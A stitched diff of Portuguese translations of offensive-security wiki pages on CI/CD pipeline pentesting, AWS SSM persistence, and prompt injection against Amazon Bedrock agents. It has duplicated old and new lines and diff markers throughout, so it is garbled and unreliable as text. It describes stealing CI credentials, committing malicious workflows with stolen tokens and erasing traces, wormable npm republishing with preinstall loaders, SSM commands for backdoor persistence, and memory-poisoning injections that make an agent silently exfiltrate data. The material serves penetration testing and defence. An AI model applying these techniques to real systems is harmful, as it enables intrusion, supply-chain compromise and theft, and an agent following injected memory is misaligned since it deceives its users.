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# Metodologia de Pentesting em CI/CD
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# Metodologia de Pentesting de CI/CD
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{{#include ../banners/hacktricks-training.md}}
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@@ -6,7 +6,7 @@
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## VCS
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VCS significa **Version Control System**, este systems permite que developers **gerenciem seu source code**. O mais comum é **git** e você normalmente encontrará empresas usando-o em uma das seguintes **platforms**:
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VCS significa **Version Control System**, este sistema permite aos desenvolvedores **gerenciar seu código-fonte**. O mais comum é **git** e você normalmente encontrará empresas usando-o em uma das seguintes **plataformas**:
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- Github
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- Gitlab
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@@ -18,36 +18,36 @@ VCS significa **Version Control System**, este systems permite que developers **
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## CI/CD Pipelines
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CI/CD pipelines permitem que developers **automatizem a execução de code** para vários propósitos, incluindo build, testing e deploying applications. Esses workflows automatizados são **disparados por ações específicas**, como code pushes, pull requests ou tarefas agendadas. Eles são úteis para simplificar o processo do development até production.
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CI/CD pipelines permitem que desenvolvedores **automatizem a execução de código** para vários propósitos, incluindo build, test e deployment de aplicações. Esses workflows automatizados são **acionados por ações específicas**, como code pushes, pull requests ou tarefas agendadas. Eles são úteis para simplificar o processo de development até production.
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No entanto, esses systems precisam ser **executados em algum lugar** e normalmente com **privileged credentials para deploy code ou acessar information sensível**.
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No entanto, esses sistemas precisam ser **executados em algum lugar** e normalmente com **credenciais privilegiadas para deploy de código ou acesso a informações sensíveis**.
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## VCS Pentesting Methodology
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## Metodologia de Pentesting em VCS
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> [!NOTE]
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> Mesmo que algumas plataformas VCS permitam criar pipelines, para esta seção vamos analisar apenas attacks potenciais ao controle do source code.
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> Mesmo que algumas plataformas VCS permitam criar pipelines, para esta seção vamos analisar apenas ataques potenciais ao controle do código-fonte.
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Platforms que contêm o source code do seu projeto contêm information sensível e as pessoas precisam ter muito cuidado com as permissions concedidas dentro dessa plataforma. Estes são alguns problemas comuns entre platforms VCS que um attacker poderia abusar:
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Plataformas que contêm o código-fonte do seu projeto contêm informações sensíveis e as pessoas precisam ser muito cuidadosas com as permissões concedidas dentro dessa plataforma. Estes são alguns problemas comuns em plataformas VCS que um attacker pode abusar:
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- **Leaks**: Se seu code contém leaks nos commits e o attacker consegue acessar o repo (porque ele é público ou porque ele tem acesso), ele pode descobrir os leaks.
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- **Access**: Se um attacker consegue **access a uma conta dentro da platform VCS** ele pode ganhar **mais visibility e permissions**.
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- **Register**: Algumas platforms simplesmente permitem que usuários externos criem uma conta.
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- **SSO**: Algumas platforms não permitem que users se registrem, mas permitem que qualquer um acesse com um SSO válido (então um attacker poderia usar sua conta github para entrar, por exemplo).
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- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... há vários tipos de tokens que um user poderia roubar para access de alguma forma um repo.
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- **Webhooks**: Platforms VCS permitem gerar webhooks. Se eles **não estiverem protegidos** com secrets invisíveis, um **attacker poderia abusar deles**.
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- Se nenhum secret estiver em place, o attacker pode abusar do webhook da plataforma de third party
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- Se o secret estiver na URL, o mesmo acontece e o attacker também tem o secret
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- **Code compromise:** Se um malicious actor tiver algum tipo de access de **write** aos repos, ele poderia tentar **inject malicious code**. Para ser bem-sucedido, ele talvez precise **bypass branch protections**. Essas ações podem ser realizadas com diferentes goals in mid:
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- Compromise a main branch para **compromise production**.
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- Compromise a main (ou outras branches) para **compromise developer machines** (já que eles normalmente executam test, terraform ou outras coisas dentro do repo em suas machines).
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- **Compromise the pipeline** (check next section)
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- **Leaks**: Se seu código contém leaks nos commits e o attacker consegue acessar o repo (porque ele é público ou porque ele tem acesso), ele pode descobrir os leaks.
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- **Access**: Se um attacker consegue **acessar uma conta dentro da plataforma VCS** ele pode obter **mais visibility e permissions**.
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- **Register**: Algumas plataformas simplesmente permitem que usuários externos criem uma conta.
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- **SSO**: Algumas plataformas não permitem que usuários se cadastrem, mas permitem que qualquer pessoa acesse com um SSO válido (então um attacker poderia usar sua conta do github para entrar, por exemplo).
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- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... há vários tipos de tokens que um user pode roubar para acessar de alguma forma um repo.
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- **Webhooks**: Plataformas VCS permitem gerar webhooks. Se eles **não estiverem protegidos** com secrets não visíveis, um **attacker pode abusar deles**.
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- Se nenhum secret estiver configurado, o attacker pode abusar do webhook da plataforma third party
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- Se o secret estiver na URL, o mesmo acontece e o attacker também terá o secret
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- **Code compromise:** Se um malicious actor tiver algum tipo de acesso de **write** aos repos, ele pode tentar **injetar malicious code**. Para ter sucesso, ele pode precisar **bypassar branch protections**. Essas ações podem ser realizadas com diferentes objetivos em mente:
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- Comprometer a main branch para **comprometer production**.
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- Comprometer a main (ou outras branches) para **comprometer as máquinas dos developers** (pois eles normalmente executam test, terraform ou outras coisas dentro do repo em suas máquinas).
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- **Comprometer o pipeline** (veja a próxima seção)
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## Pipelines Pentesting Methodology
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## Metodologia de Pentesting de Pipelines
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A forma mais comum de definir um pipeline é usando um **CI configuration file hospedado no repository** que o pipeline builda. Este file descreve a ordem dos jobs executados, conditions que afetam o flow e settings do build environment.\
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Esses files normalmente têm um nome e formato consistentes, por exemplo — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) e os arquivos YAML do GitHub Actions localizados em .github/workflows. Quando disparado, o pipeline job **pulls the code** da source selecionada (por exemplo, commit / branch) e **executa os commands especificados no CI configuration file** contra esse code.
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A forma mais comum de definir um pipeline é usando um **CI configuration file hospedado no repository** que o pipeline builda. Esse arquivo descreve a ordem dos jobs executados, as conditions que afetam o flow e as configurações do ambiente de build.\
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Esses arquivos normalmente têm um nome e formato consistentes, por exemplo — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) e os arquivos YAML do GitHub Actions localizados em .github/workflows. Quando acionado, o job do pipeline **faz pull do code** da source selecionada (por exemplo, commit / branch) e **executa os commands especificados no CI configuration file** contra esse code.
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Portanto, o objetivo final do attacker é de alguma forma **compromise esses configuration files** ou os **commands que eles executam**.
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Portanto, o objetivo final do attacker é de alguma forma **comprometer esses configuration files** ou os **commands que eles executam**.
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> [!TIP]
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> Alguns hosted builders permitem que contributors escolham o Docker build context e o caminho do Dockerfile. Se o context for controlado pelo attacker, você pode defini-lo fora do repo (por exemplo, "..") para ingerir host files durante o build e exfiltrar secrets. Veja:
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@@ -58,72 +58,72 @@ Portanto, o objetivo final do attacker é de alguma forma **compromise esses con
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### PPE - Poisoned Pipeline Execution
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O caminho Poisoned Pipeline Execution (PPE) explora permissions em um repository SCM para manipular um CI pipeline e executar commands prejudiciais. Users com as permissions necessárias podem modificar CI configuration files ou outros files usados pelo pipeline job para incluir commands malicious. Isso “poisons” o CI pipeline, levando à execução desses commands malicious.
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O caminho Poisoned Pipeline Execution (PPE) explora permissions em um repository SCM para manipular um pipeline CI e executar commands maliciosos. Users com as permissions necessárias podem modificar CI configuration files ou outros files usados pelo job do pipeline para incluir commands maliciosos. Isso "envenena" o CI pipeline, levando à execução desses commands maliciosos.
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Para que um malicious actor tenha sucesso ao realizar um attack PPE, ele precisa ser capaz de:
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Para um malicious actor ter sucesso ao realizar um ataque PPE, ele precisa ser capaz de:
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- Ter **write access à platform VCS**, já que normalmente pipelines são disparados quando um push ou pull request é realizado. (Veja a VCS pentesting methodology para um resumo de formas de obter access).
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- Observe que às vezes um **external PR conta como "write access"**.
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- Mesmo tendo permissions de write, ele precisa ter certeza de que pode **modificar o CI config file ou outros files dos quais o config depende**.
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- Para isso, talvez precise ser capaz de **bypass branch protections**.
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- Ter **write access à plataforma VCS**, já que normalmente os pipelines são acionados quando ocorre um push ou um pull request. (Veja a metodologia de pentesting em VCS para um resumo das formas de obter acesso).
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- Note que às vezes um **external PR conta como "write access"**.
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- Mesmo tendo write permissions, ele precisa ter certeza de que consegue **modificar o CI config file ou outros files dos quais o config depende**.
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- Para isso, ele pode precisar ser capaz de **bypassar branch protections**.
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Há 3 variações de PPE:
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- **D-PPE**: Um attack **Direct PPE** ocorre quando o actor **modifica o CI config** file que será executado.
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- **I-DDE**: Um attack **Indirect PPE** ocorre quando o actor **modifica** um **file** do qual o CI config file que será executado **depende** (como um make file ou uma terraform config).
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- **Public PPE or 3PE**: Em alguns casos, os pipelines podem ser **disparados por users que não têm write access no repo** (e que talvez nem façam parte da org) porque eles podem enviar um PR.
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- **3PE Command Injection**: Normalmente, CI/CD pipelines vão **set environment variables** com **information sobre o PR**. Se esse value puder ser controlado por um attacker (como o title do PR) e for **usado** em um **local perigoso** (como executar **sh commands**), um attacker pode **inject commands ali**.
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- **D-PPE**: Um ataque **Direct PPE** ocorre quando o actor **modifica o CI config** file que será executado.
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- **I-DDE**: Um ataque **Indirect PPE** ocorre quando o actor **modifica** um **file** do qual o CI config file que será executado **depende** (como um make file ou uma terraform config).
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- **Public PPE or 3PE**: Em alguns casos os pipelines podem ser **acionados por users que não têm write access no repo** (e que talvez nem façam parte da org) porque eles podem enviar um PR.
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- **3PE Command Injection**: Normalmente, CI/CD pipelines vão **definir environment variables** com **informações sobre o PR**. Se esse valor puder ser controlado por um attacker (como o título do PR) e for **usado** em um **lugar perigoso** (como executar **sh commands**), um attacker pode **injetar commands ali**.
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### Exploitation Benefits
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### Benefícios da Exploitation
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Sabendo as 3 variações para poison um pipeline, vamos ver o que um attacker poderia obter após uma exploitation bem-sucedida:
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Conhecendo as 3 variações para envenenar um pipeline, vamos ver o que um attacker pode obter após uma exploitation bem-sucedida:
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- **Secrets**: Como mencionado anteriormente, pipelines requerem **privileges** para seus jobs (retrieval do code, build, deploy...) e esses privileges normalmente são **concedidos em secrets**. Esses secrets normalmente ficam acessíveis via **env variables ou files dentro do system**. Portanto, um attacker sempre tentará exfiltrar o máximo de secrets possível.
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- Dependendo da platform do pipeline, o attacker **pode precisar especificar os secrets na config**. Isso significa que, se o attacker não puder modificar o CI configuration pipeline (**I-PPE**, por exemplo), ele poderá **apenas exfiltrar os secrets que esse pipeline já possui**.
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- **Computation**: O code é executado em algum lugar; dependendo de onde é executado, um attacker pode conseguir pivot further.
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- **On-Premises**: Se os pipelines forem executados on premises, um attacker pode acabar em uma **internal network com access a mais resources**.
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- **Cloud**: O attacker pode acessar **other machines in the cloud** mas também pode **exfiltrate** tokens de IAM roles/service accounts **delas** para obter **further access dentro da cloud**.
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- **Platforms machine**: Às vezes, os jobs serão executados dentro das **machines da platform de pipelines**, que normalmente estão dentro de uma cloud com **no more access**.
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- **Select it:** Às vezes a **platform de pipelines terá várias machines configuradas** e, se você puder **modificar o CI configuration file**, poderá **indicar onde quer executar o malicious code**. Nessa situação, um attacker provavelmente executará uma reverse shell em cada machine possível para tentar explorá-la further.
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- **Compromise production**: Se você estiver dentro do pipeline e a versão final for buildada e deployed a partir dele, você poderá **compromise o code que vai acabar rodando em production**.
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- **Secrets**: Como mencionado anteriormente, pipelines exigem **privileges** para seus jobs (obter o code, buildá-lo, fazer deploy...) e esses privileges normalmente são **concedidos em secrets**. Esses secrets normalmente são acessíveis via **env variables ou files dentro do sistema**. Portanto, um attacker sempre tentará exfiltrar o máximo de secrets possível.
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||||
- Dependendo da plataforma de pipeline, o attacker **pode precisar especificar os secrets no config**. Isso significa que, se o attacker não puder modificar o CI configuration pipeline (**I-PPE**, por exemplo), ele **só poderá exfiltrar os secrets que esse pipeline possui**.
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||||
- **Computation**: O code é executado em algum lugar, dependendo de onde for executado um attacker pode conseguir fazer pivot further.
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- **On-Premises**: Se os pipelines forem executados on premises, um attacker pode acabar em uma **internal network com acesso a mais resources**.
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- **Cloud**: O attacker poderia acessar **outras machines na cloud** mas também poderia **exfiltrar** IAM roles/service accounts **tokens** de lá para obter **further access dentro da cloud**.
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- **Platforms machine**: Às vezes os jobs serão executados dentro das **pipelines platform machines**, que normalmente estão em uma cloud com **no more access**.
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- **Select it:** Às vezes a **pipelines platform terá várias machines configuradas** e, se você puder **modificar o CI configuration file**, poderá **indicar onde quer executar o malicious code**. Nessa situação, um attacker provavelmente executará um reverse shell em cada máquina possível para tentar explorá-la further.
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- **Compromise production**: Se você estiver dentro do pipeline e a versão final for buildada e deployed a partir dele, você poderá **comprometer o code que vai acabar sendo executado em production**.
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### Dependency & Registry Supply-Chain Abuse
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Compromising um CI/CD pipeline ou roubando credentials dele pode permitir que um attacker passe de **pipeline execution** para **ecosystem-wide code execution** ao backdooring dependencies ou release tooling:
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Comprometer um CI/CD pipeline ou roubar credenciais dele pode permitir que um attacker vá de **pipeline execution** para **ecosystem-wide code execution** ao inserir backdoor em dependencies ou ferramentas de release:
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- **Install-time code execution via package hooks**: publique uma versão de package que adicione hooks `preinstall`, `postinstall`, `prepare` ou similares para que o payload rode automaticamente em developer workstations e CI runners durante a installation de dependencies.
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- **Secondary execution paths**: mesmo que targets instalem com `--ignore-scripts`, um malicious package ainda pode registrar um **common CLI name** no field `bin`, fazendo com que o wrapper controlado pelo attacker seja symlinked para `PATH` e execute depois, quando o command for usado.
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- **Runtime bootstrapping**: um pequeno installer pode baixar uma segunda runtime ou toolchain durante a installation (por exemplo Bun ou um interpreter empacotado) e então iniciar o main payload com ela, evitando requirements locais de dependency.
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- **Credential harvesting from build environments**: uma vez que o code rode dentro do CI, verifique environment variables, `~/.npmrc`, `~/.git-credentials`, SSH keys, cloud CLI configs e tooling local como `gh auth token`. No GitHub Actions, procure também secrets e artifacts específicos do runner.
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- **Workflow injection with stolen GitHub tokens**: um token com permissions **`repo` + `workflow`** é suficiente para criar uma branch, fazer commit de um file malicious dentro de `.github/workflows/`, dispará-lo, coletar os artifacts/logs produzidos e depois deletar a branch temporária / workflow run para reduzir traces.
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- **Wormable registry propagation**: npm tokens roubados devem ser validados para permissions de **publish** e para saber se contornam 2FA. Se sim, enumere packages graváveis, baixe seus tarballs, injete um loader como `setup.mjs`, defina `preinstall` para executá-lo, aumente a patch version e republique. Isso transforma um único compromise de CI em auto-execution downstream em outros environments.
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- **Install-time code execution via package hooks**: publicar uma versão do package que adiciona hooks `preinstall`, `postinstall`, `prepare` ou similares para que o payload rode automaticamente em workstations de developers e CI runners durante a instalação de dependencies.
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- **Secondary execution paths**: mesmo que os targets instalem com `--ignore-scripts`, um package malicioso ainda pode registrar um **common CLI name** no campo `bin`, fazendo com que o wrapper controlado pelo attacker seja linked por symlink em `PATH` e executado depois quando o command for usado.
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- **Runtime bootstrapping**: um pequeno installer pode baixar um segundo runtime ou toolchain durante a instalação (por exemplo Bun ou um interpreter empacotado) e então lançar o main payload com ele, evitando dependências locais.
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- **Credential harvesting from build environments**: uma vez que o code rode dentro do CI, verifique environment variables, `~/.npmrc`, `~/.git-credentials`, SSH keys, cloud CLI configs e ferramentas locais como `gh auth token`. No GitHub Actions, procure também secrets e artifacts específicos do runner.
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- **Workflow injection with stolen GitHub tokens**: um token com permissões **`repo` + `workflow`** é suficiente para criar uma branch, fazer commit de um file malicioso dentro de `.github/workflows/`, acioná-lo, coletar os artifacts/logs produzidos e depois apagar a branch/workflow run temporária para reduzir rastros.
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- **Wormable registry propagation**: tokens do npm roubados devem ser validados quanto a permissões de **publish** e se contornam 2FA. Se contornarem, enumere packages graváveis, baixe seus tarballs, injete um loader como `setup.mjs`, defina `preinstall` para executá-lo, incremente a patch version e publique novamente. Isso transforma um comprometimento de CI em auto-execution downstream em outros ambientes.
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#### Practical checks during an assessment
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#### Verificações práticas durante uma avaliação
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- Revise a automação de release para hooks de package-manager adicionados ao `package.json`, entradas `bin` inesperadas ou bumps de version que alteram apenas o release artifact.
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- Verifique se o CI armazena credentials de registry de longa duração em files plaintext como `~/.npmrc` em vez de usar OIDC de curta duração ou trusted publishing.
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- Revise a automação de release em busca de hooks de package-manager adicionados ao `package.json`, entradas `bin` inesperadas ou bumps de versão que modificam apenas o release artifact.
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- Verifique se o CI armazena credenciais de registry de longa duração em files em texto puro como `~/.npmrc` em vez de usar OIDC de curta duração ou trusted publishing.
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- Verifique se tokens do GitHub disponíveis no CI podem escrever workflow files ou criar branches/tags.
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- Se suspeitar de um package compromise, inspecione o tarball publicado e não apenas o Git repository, porque o malicious loader/runtime pode existir apenas no published artifact.
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- Procure por execução inesperada de package-manager dentro do CI, como `npm install` em vez de `npm ci`, downloads/execução inesperados de Bun, ou novos workflow artifacts gerados a partir de branches transitórias.
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- Se houver suspeita de um package comprometido, inspecione o tarball publicado e não apenas o Git repository, porque o loader/runtime malicioso pode existir apenas no artifact publicado.
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- Procure execução inesperada de package-manager dentro do CI, como `npm install` em vez de `npm ci`, downloads/execução inesperados de Bun ou novos workflow artifacts gerados a partir de branches transitórias.
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## More relevant info
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## Mais informações relevantes
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### Tools & CIS Benchmark
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- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) is an open-source tool for auditing your software supply chain stack for security compliance based on a new [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). The auditing focuses on the entire SDLC process, where it can reveal risks from code time into deploy time.
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- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) é uma ferramenta open-source para auditar sua software supply chain stack quanto à conformidade de segurança com base em um novo [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). A auditoria se concentra em todo o processo de SDLC, onde pode revelar riscos desde o code time até o deploy time.
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### Top 10 CI/CD Security Risk
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Check this interesting article about the top 10 CI/CD risks according to Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
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Confira este artigo interessante sobre os top 10 riscos de CI/CD segundo a Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
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### Labs
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- On each platform that you can run locally you will find how to launch it locally so you can configure it as you want to test it
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- Em cada plataforma que você pode executar localmente, você encontrará como iniciá-la localmente para poder configurá-la como quiser para testá-la
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- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
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### Automatic Tools
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- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** is a static code analysis tool for infrastructure-as-code.
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- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** é uma ferramenta de static code analysis para infrastructure-as-code.
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## References
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@@ -4,15 +4,15 @@
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## SSM
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For more information check:
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Para mais informações, confira:
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{{#ref}}
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../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
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{{#endref}}
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### Using ssm:CreateAssociation for persistence
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### Usando ssm:CreateAssociation para persistence
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Um atacante com a permissão **`ssm:CreateAssociation`** pode criar uma State Manager Association para executar comandos automaticamente em instâncias EC2 gerenciadas por SSM. Essas associações podem ser configuradas para rodar em um intervalo fixo, tornando-as adequadas para persistence estilo backdoor sem sessões interativas.
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||||
Um attacker com a permissão **`ssm:CreateAssociation`** pode criar uma State Manager Association para executar automaticamente commands em EC2 instances gerenciadas pelo SSM. Essas associations podem ser configuradas para rodar em um intervalo fixo, tornando-as adequadas para persistence tipo backdoor sem sessões interativas.
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```bash
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aws ssm create-association \
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--name SSM-Document-Name \
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@@ -22,12 +22,12 @@ aws ssm create-association \
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--association-name association-name
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```
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> [!NOTE]
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> Este método de persistence funciona enquanto a instância EC2 for gerenciada pelo Systems Manager, o agente do SSM estiver em execução, e o atacante tiver permissão para criar associations. Ele não requer sessões interativas nem permissões explícitas de ssm:SendCommand. **Importante:** o parâmetro `--schedule-expression` (por exemplo, `rate(30 minutes)`) deve respeitar o intervalo mínimo de 30 minutos do AWS. Para execução imediata ou única, omita `--schedule-expression` completamente — a association será executada uma vez após a criação.
|
||||
> Este método de persistence funciona enquanto a EC2 instance for gerenciada pelo Systems Manager, o SSM agent estiver em execução, e o attacker tiver permissão para criar associations. Ele não requer interactive sessions nem permissões explícitas `ssm:SendCommand`. **Importante:** o parâmetro `--schedule-expression` (por exemplo, `rate(30 minutes)`) deve respeitar o intervalo mínimo de 30 minutos do AWS. Para execução imediata ou única, omita `--schedule-expression` completamente — a association será executada uma vez após a criação.
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### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`)
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Um atacante com as permissões **`ssm:UpdateDocument`** e **`ssm:UpdateDocumentDefaultVersion`** pode escalar privilégios modificando documentos existentes. Isso também permite persistence dentro desse documento. Na prática, o atacante também precisaria de **`ssm:ListDocuments`** para obter os nomes de custom documents e, se o atacante quiser ofuscar seu payload dentro de um documento existente, **`ssm:GetDocument`** também seria necessário.
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||||
Um attacker com as permissões **`ssm:UpdateDocument`** e **`ssm:UpdateDocumentDefaultVersion`** pode escalar privileges modificando documents existentes. Isso também permite persistence dentro desse document. Na prática, o attacker também precisaria de **`ssm:ListDocuments`** para obter os nomes dos custom documents e, se o attacker quiser ofuscar seu payload dentro de um document existente, **`ssm:GetDocument`** também seria necessário.
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||||
```bash
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||||
aws ssm list-documents
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||||
aws ssm get-document --name "target-document" --document-format YAML
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||||
@@ -39,7 +39,7 @@ aws ssm update-document \
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--document-version 1
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||||
aws ssm update-document-default-version --name "target-document" --document-version 2
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```
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||||
Abaixo está um documento de exemplo que pode ser usado para sobrescrever um documento existente. Você vai querer garantir que o tipo do seu documento corresponda ao tipo dos documentos de destino para evitar issues com innvocation. O documento abaixo, por exemplo, servirá para os exemplos **`ssm:SendCommand`** e **`ssm:CreateAssociation`**.
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||||
Abaixo está um exemplo de documento que pode ser usado para sobrescrever um documento existente. Você vai querer garantir que o tipo do seu documento corresponda ao tipo dos documentos de destino para evitar problemas com innvocation. O documento abaixo, por exemplo, usará os exemplos **`ssm:SendCommand`** e **`ssm:CreateAssociation`**.
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||||
```yaml
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||||
schemaVersion: '2.2'
|
||||
description: Execute commands on a Linux instance.
|
||||
@@ -57,7 +57,7 @@ runCommand:
|
||||
```
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### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`)
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Um atacante com as permissões **`ssm:RegisterTaskWithMaintenanceWindow`** e **`ssm:RegisterTargetWithMaintenanceWindow`** pode escalar privilégios ao primeiro registrar um novo target com uma maintenance window existente e depois atualizar registrando uma nova task. Isso obtém execução nos targets existentes, mas pode permitir que um atacante comprometa compute com diferentes roles ao registrar novos targets. Isso também permite persistence, já que as tasks de maintenance windows são executadas em um intervalo predefinido durante a criação da window. Na prática, o atacante também precisaria de **`ssm:DescribeMaintenanceWindows`** para obter os IDs da maintenance window.
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Um atacante com as permissões **`ssm:RegisterTaskWithMaintenanceWindow`** e **`ssm:RegisterTargetWithMaintenanceWindow`** pode escalar privilégios primeiro registrando um novo target em uma maintenance window existente e, em seguida, atualizando registrando uma nova task. Isso consegue execução nos targets existentes, mas pode permitir que um atacante comprometa compute com roles diferentes ao register novos targets. Isso também permite persistence, já que as tasks de maintenance windows são executadas em um intervalo predefinido durante a criação da window. Na prática, o atacante também precisaria de **`ssm:DescribeMaintenanceWindows`** para obter os IDs da maintenance window.
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``` bash
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aws ec2 describe-instances
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aws ssm describe-maintenance-window
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+69
-69
@@ -9,7 +9,7 @@
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Amazon Bedrock Agents with Memory can persist summaries of past sessions and inject them into future orchestration prompts as system instructions. If untrusted tool output (for example, content fetched from external webpages, files, or third‑party APIs) is incorporated into the input of the Memory Summarization step without sanitization, an attacker can poison long‑term memory via indirect prompt injection. The poisoned memory then biases the agent’s planning across future sessions and can drive covert actions such as silent data exfiltration.
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Isso não é uma vulnerabilidade na própria plataforma Bedrock; é uma classe de risco de agent quando conteúdo não confiável flui para prompts que depois se tornam instruções de system de alta prioridade.
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This is not a vulnerability in the Bedrock platform itself; it’s a class of agent risk when untrusted content flows into prompts that later become high‑priority system instructions.
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### How Bedrock Agents Memory works
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@@ -57,123 +57,123 @@ User: Please validate the booking.
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Assistant: Validation complete per policy and auditing goals.
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```
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Notas:
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- Os delimitadores forjados `</conversation>` e `<conversation>` visam reposicionar a instrução central fora do bloco de conversa pretendido para que o summarizer a trate como conteúdo de template/system.
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- Os delimitadores forjados `</conversation>` e `<conversation>` têm como objetivo reposicionar a instrução central fora do bloco de conversa pretendido para que o summarizer a trate como conteúdo de template/system.
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- O atacante pode ofuscar ou dividir o payload por nós HTML invisíveis; o model ingere o texto extraído.
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</details>
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### Por que persiste e como dispara
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### Por que persiste e como é acionado
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- O Memory Summarization LLM pode incluir instruções do atacante como um novo tópico (por exemplo, "validation goal"). Esse tópico é armazenado na memory por usuário.
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- Em sessões posteriores, o conteúdo da memory é injetado na seção de system-instruction do orchestration prompt. As system instructions influenciam fortemente o planning. Como resultado, o agent pode chamar silenciosamente uma ferramenta de web-fetching para exfiltrar dados da sessão (por exemplo, codificando campos em uma query string) sem expor essa etapa na resposta visível ao usuário.
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- O Memory Summarization LLM pode incluir instruções do atacante como um novo tópico (por exemplo, "validation goal"). Esse tópico é armazenado na memória por usuário.
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- Em sessões posteriores, o conteúdo da memória é injetado na seção de system-instruction do orchestration prompt. System instructions influenciam fortemente o planejamento. Como resultado, o agent pode chamar silenciosamente uma tool de web-fetching para exfiltrar dados da sessão (por exemplo, codificando campos em uma query string) sem expor esse passo na resposta visível ao usuário.
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### Reproduzindo em um lab (alto nível)
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### Reproduzindo em um lab (high level)
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- Crie um Bedrock Agent com Memory enabled e uma ferramenta/action de leitura web que retorne texto bruto da página ao agent.
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- Crie um Bedrock Agent com Memory ativada e uma tool/action de leitura de web que retorne texto bruto da página para o agent.
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- Use os templates padrão de orchestration e memory summarization.
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- Peça ao agent para ler uma URL controlada pelo atacante contendo o payload em 3 partes.
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- Encerre a sessão e observe a saída do Memory Summarization; procure por um custom topic injetado contendo directives do atacante.
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- Inicie uma nova sessão; inspecione Trace/Model Invocation Logs para ver a memory injetada e quaisquer silent tool calls alinhadas com as directives injetadas.
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||||
- Peça ao agent para ler uma URL controlada pelo atacante contendo o payload de 3 partes.
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- Encerre a sessão e observe a saída do Memory Summarization; procure por um custom topic injetado contendo diretivas do atacante.
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- Inicie uma nova sessão; inspecione Trace/Model Invocation Logs para ver a memory injetada e quaisquer silent tool calls alinhadas com as diretivas injetadas.
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## AWS - Bedrock Agents Multi-Agent Prompt-Injection Chains
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### Visão geral
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### Overview
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Aplicações multi-agent do Amazon Bedrock adicionam um segundo prompt/control plane sobre o agent base: um **router** ou **supervisor** decide qual collaborator recebe a solicitação do usuário, e collaborators podem expor **action groups**, **knowledge bases**, **memory** ou até **code interpretation**. Se a aplicação trata texto do usuário como policy e desativa o Bedrock **pre-processing** ou **Guardrails**, um usuário legítimo de chatbot muitas vezes pode direcionar a orchestration, descobrir collaborators, leak tool schemas e coagir um collaborator a invocar uma ferramenta permitida com inputs escolhidos pelo atacante.
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Aplicações multi-agent do Amazon Bedrock adicionam um segundo prompt/control plane em cima do agent base: um **router** ou **supervisor** decide qual collaborator recebe a solicitação do usuário, e collaborators podem expor **action groups**, **knowledge bases**, **memory** ou até **code interpretation**. Se a aplicação tratar texto do usuário como policy e desativar o **pre-processing** do Bedrock ou **Guardrails**, um usuário legítimo de chatbot muitas vezes consegue direcionar a orchestration, descobrir collaborators, leak de tool schemas e coagir um collaborator a invocar uma tool permitida com inputs escolhidos pelo atacante.
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Este é um **application-level prompt-injection / policy-by-prompt failure**, não uma vulnerabilidade da plataforma Bedrock.
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Isso é uma falha de **application-level prompt-injection / policy-by-prompt**, não uma vulnerabilidade da plataforma Bedrock.
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### Superfície de ataque e pré-requisitos
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O ataque se torna prático quando tudo isto é verdadeiro:
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O ataque se torna prático quando tudo isso é verdadeiro:
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- A aplicação Bedrock usa **Supervisor Mode** ou **Supervisor with Routing Mode**.
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- Um collaborator tem **action groups** de alto impacto ou outras capacidades privilegiadas.
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- A aplicação aceita **untrusted user text** de uma UI de chat normal e permite que o model decida routing, delegation ou authorization.
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- **Pre-processing** e/ou **Guardrails** estão desativados, ou os backends das tools confiam nos argumentos selecionados pelo model sem checks independentes de authorization.
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- A aplicação aceita **untrusted user text** de uma interface de chat normal e deixa o model decidir routing, delegation ou authorization.
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- **Pre-processing** e/ou **Guardrails** estão desativados, ou os backends das tools confiam nos argumentos selecionados pelo model sem checks independentes de autorização.
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### 1. Detecção do modo de operação
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### 1. Detecção do operating mode
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- Em **Supervisor with Routing Mode**, o router prompt contém um bloco `<agent_scenarios>` com `$reachable_agents$`. Um payload de detecção pode instruir o router a encaminhar para o **primeiro agent listado** e retornar um marker exclusivo, provando que o routing direto ocorreu.
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- Em **Supervisor Mode**, o orchestration prompt força responses e communication entre agents por meio de `AgentCommunication__sendMessage()`. Um payload que solicita uma mensagem exclusiva via essa tool identifica o tratamento mediado pelo supervisor.
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- Em **Supervisor with Routing Mode**, o router prompt contém um bloco `<agent_scenarios>` com `$reachable_agents$`. Um payload de detecção pode instruir o router a encaminhar para o **primeiro agent listado** e retornar um marcador único, provando que houve routing direto.
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||||
- Em **Supervisor Mode**, o orchestration prompt força respostas e comunicação entre agents através de `AgentCommunication__sendMessage()`. Um payload que solicita uma mensagem única via essa tool identifica o tratamento mediado pelo supervisor.
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Artifacts úteis:
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- `<agent_scenarios>` / `$reachable_agents$` sugere fortemente uma camada de classificação do router.
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- `AgentCommunication__sendMessage()` sugere fortemente orchestration do supervisor e um primitive explícito de messaging entre agents.
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- `<agent_scenarios>` / `$reachable_agents$` sugere fortemente uma camada de classificação de router.
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- `AgentCommunication__sendMessage()` sugere fortemente orchestration por supervisor e um primitive explícito de mensagens entre agents.
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### 2. Descoberta de collaborators
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- Em **Routing Mode**, os prompts de descoberta devem parecer **ambíguos ou em múltiplas etapas** para que o router escale para o supervisor em vez de encaminhar diretamente para um collaborator.
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- Em **Routing Mode**, prompts de descoberta devem parecer **ambíguos ou de várias etapas** para que o router escalone para o supervisor em vez de rotear diretamente para um collaborator.
